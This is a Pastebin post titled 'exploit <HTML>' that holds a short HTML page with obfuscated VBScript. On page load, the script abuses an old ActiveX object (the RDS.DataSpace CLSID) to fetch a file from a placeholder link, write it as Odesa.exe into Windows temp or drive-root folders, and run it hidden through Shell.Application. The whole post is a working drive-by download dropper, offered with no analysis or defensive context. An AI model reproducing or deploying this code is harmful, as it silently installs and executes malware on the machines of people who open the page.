Advertisement
Kro0oz

exploit <HTML>

Jul 20th, 2015
486
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 1.09 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>XP</title>
  4. </head>
  5. <body>
  6. <script type="text/vbscript">
  7. on error resume next
  8. Set df = document.createElement("object")
  9. df.setAttribute "clas"&"sid", "clsid:BD96C"&"556-65A3-11D0-"&"983A-00C04F"&"C29E36"
  10. str="Microsoft"&"."&"XMLHTTP"
  11. Set x = df.CreateObject(str,"")
  12. var1="Ad"
  13. var2="od"
  14. var3="b."
  15. var4="St"
  16. var5="re"
  17. var6="am"
  18. str1=var1&var2&var3&var4&var5&var6
  19.  
  20. str5=str1
  21. set S = df.createobject(str5,"")
  22. for count = 0 to 4
  23. S.type = 1
  24. lnk="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
  25. x.Open "G"&"E"&"T",lnk,0
  26. x.Send
  27. set F = df.createobject("Script"&"ing.FileSys"&"temObject" ,"")
  28. if count = 0 then tmp = "c:\windows\temp" else if count = 1 then tmp = "c:\" else if count = 2 then tmp = "c:\temp" else if count = 3 then tmp = "d:\windows\temp" else if count = 4 then tmp = "d:\" end if
  29. fname1= F.BuildPath(tmp,"\Odesa.exe")
  30. S.open
  31. S.write x.responseBody
  32. S.savetofile fname1,2
  33. S.close
  34. if err.number = 0 then
  35. set Q = df.createobject("Shell.Application","")
  36. Q.ShellExecute fname1,"INSTALL","","open",0
  37. exit for
  38. else
  39. Err.Clear
  40. End if
  41. next
  42. </script>
  43. </body>
  44. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement